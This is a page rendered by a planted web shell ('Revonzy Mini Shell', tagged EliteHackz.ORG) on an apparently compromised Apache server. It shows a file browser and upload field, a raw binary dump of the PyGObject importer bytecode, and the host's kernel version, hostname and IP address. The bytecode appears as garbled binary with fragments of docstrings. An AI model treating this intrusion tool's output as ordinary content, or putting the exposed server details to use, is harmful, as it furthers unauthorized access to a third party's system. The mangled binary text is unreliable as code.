Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /lib64/python3.9/site-packages/gi/__pycache__/
Dosya Yükle :
Şuanki Dosya : //lib64/python3.9/site-packages/gi/__pycache__/importer.cpython-39.pyc

a

b�^y�@s�ddlZddlZddlZddlmZddlZddlmZmZddlm	Z	ddl
mZddlm
Z
e��ZiZedd	��Zd
d�ZGdd
�d
e�ZdS)�N)�contextmanager�)�
Repository�RepositoryError)�PyGIWarning)�get_introspection_module)�load_overridesccs^t�|�}dV|rdS|dvr$dSt�|�dur6dSt�|�}tjd||d�t|d�dS)aOA context manager which tries to give helpful warnings
    about missing gi.require_version() which could potentially
    break code if only an older version than expected is installed
    or a new version gets introduced.

    ::

        with _check_require_version("Gtk", stacklevel):
            load_namespace_and_overrides()
    N)ZGLibZGObjectZGioz�%(namespace)s was imported without specifying a version first. Use gi.require_version('%(namespace)s', '%(version)s') before import to ensure that the right version gets loaded.)�	namespace�version��
stacklevel)�
repository�
is_registered�giZget_required_versionZget_version�warnings�warnr)r	rZ
was_loadedr
�r�1/usr/lib64/python3.9/site-packages/gi/importer.py�_check_require_version*s

��rcCsZtjdd�}|dkr"|rdSdS|dkr6|r2dSdS|dkrJ|rFdSdS|rRdSdSdS)	a2Returns the stacklevel value for warnings.warn() for when the warning
    gets emitted by an imported module, but the warning should point at the
    code doing the import.

    Pass import_hook=True if the warning gets generated by an import hook
    (warn() gets called in load_module(), see PEP302)
    N�)�r�)rr��
)rr)�sys�version_info)�import_hookZ
py_versionrrr�get_import_stacklevelQs	rc@s&eZdZdd�Zddd�Zdd�ZdS)	�DynamicImportercCs
||_dS)N)�path)�selfrrrr�__init__kszDynamicImporter.__init__NcCs2|�|j�sdS|�dd�\}}||jkr.dS|S)N�.r)�
startswithr�rsplit)r �fullnamerr	rrr�find_modulens
zDynamicImporter.find_modulec	Cs|tjvrtj|S|�dd�\}}t�|�sDt�|�sDtd|��tdd�}t||d��zzt	|�}Wn,t
y�}zt|��WYd}~n
d}~00t�|�D]}t�
d|�d�d	�q�t|�}Wd�n1s�0Yd
||_||_|tj|<|S)Nr"rz6cannot import name %s, introspection typelib not foundT)rrzgi.repository.�-rz<%s>)r�modulesr$r
rZenumerate_versions�ImportErrorrrrrZget_immediate_dependencies�	importlib�
import_module�splitr�__file__�
__loader__)	r r%rr	rZintrospection_module�eZdepZdynamic_modulerrr�load_modulexs,


��
&

zDynamicImporter.load_module)N)�__name__�
__module__�__qualname__r!r&r0rrrrrgs

r)rrr*�
contextlibrrZ_girrr�modulerZ	overridesr�get_defaultr
r(rr�objectrrrrr�<module>s
&

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4